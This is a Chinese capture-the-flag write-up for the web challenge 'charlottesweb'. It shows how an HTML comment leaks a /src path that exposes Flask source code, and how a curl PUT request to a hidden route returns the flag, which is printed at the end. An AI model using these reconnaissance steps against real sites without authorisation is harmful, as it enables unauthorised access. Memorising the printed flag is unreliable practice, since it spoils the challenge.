charlottesweb的详细writeup

JLing 2026-05-27 10:58:55 35 0


题目信息

考点分析

  • HTTP 方法绕过:FLAG 端点只接受 PUT 方法,GET/POST 请求返回 404
  • 源码泄露:HTML 注释泄露/src路径,获取完整 Flask 源码
  • Web 侦察:页面隐藏信息收集

解题思路

1. 信息收集

访问首页,查看 HTML 源码发现注释:

<!-- /src -->

暗示存在源码文件/src

2. 获取源码

访问/src获取app.py

importflask

app = flask.Flask(__name__)@app.route('/', methods=['GET'])defindex():returnflask.send_file('index.html')@app.route('/src', methods=['GET'])defsource():returnflask.send_file('app.py')@app.route('/super-secret-route-nobody-will-guess', methods=['PUT'])defflag():returnopen('flag').read()

关键发现:

  • Flag 端点在/super-secret-route-nobody-will-guess
  • 仅接受 PUT 方法(不是 GET!)
  • 直接 GET 访问该路径会返回 404

3. HTTP 方法切换

使用 PUT 方法请求 flag 端点:

curl -X PUT http://49.232.142.230:17616/super-secret-route-nobody-will-guess

关键命令

# 1. 查看首页,发现 /src 注释curl -s http://49.232.142.230:17616/# 2. 获取源码curl -s http://49.232.142.230:17616/src# 3. 用 PUT 方法获取 flagcurl -s -X PUT http://49.232.142.230:17616/super-secret-route-nobody-will-guess

Flag

wctf{y0u_h4v3_b33n_my_fr13nd___th4t_1n_1t53lf_1s_4_tr3m3nd0u5_th1ng}

注意事项

  1. HTTP 方法差异:Web 浏览器默认使用 GET,开发者常用@app.route限制方法。CLI 工具(curl、httpie)可以轻松切换方法。
  2. 注释是宝藏:HTML 注释、JS 注释常泄露隐藏路径和敏感信息。
  3. Flasksend_file:利用了源码文件读取,/src直接返回app.py文件内容。
  4. Gunicorn + Flask:Server 头gunicorn确认了 Python Web 应用栈。
  5. Flask methodsmethods=['PUT']表示该路由只接受 PUT 请求,GET/POST/DELETE 都无效。
分类:WEB
image
作者:JLing

4

提交

0

收入

相关WriteUP

  • cookiehead

    ***收费WriteUP请购买后查看,VIP用户可免费查看***

    • WEB
    • 1年前
  • sqli-0x1 Writeup

    ***收费WriteUP请购买后查看,VIP用户可免费查看***

    • WEB
    • 2年前
  • [HackINI-2022] lfi WriteUp

    ***收费WriteUP请购买后查看,VIP用户可免费查看***

    • WEB
    • 2年前
  • just-work-type

    ***收费WriteUP请购买后查看,VIP用户可免费查看***

    • WEB
    • 2年前
  • SQL注入.2

    ***收费WriteUP请购买后查看,VIP用户可免费查看***

    • WEB
    • 1年前
问题反馈